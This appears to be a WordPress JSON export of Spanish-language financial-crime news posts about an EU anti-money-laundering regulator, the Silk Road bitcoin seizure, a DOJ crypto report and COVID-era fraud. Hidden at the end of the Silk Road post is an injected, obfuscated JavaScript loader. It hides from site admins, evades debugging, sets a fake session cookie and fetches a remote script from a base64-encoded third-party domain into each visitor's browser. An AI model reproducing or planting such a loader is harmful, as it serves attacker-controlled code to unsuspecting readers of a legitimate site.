agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como 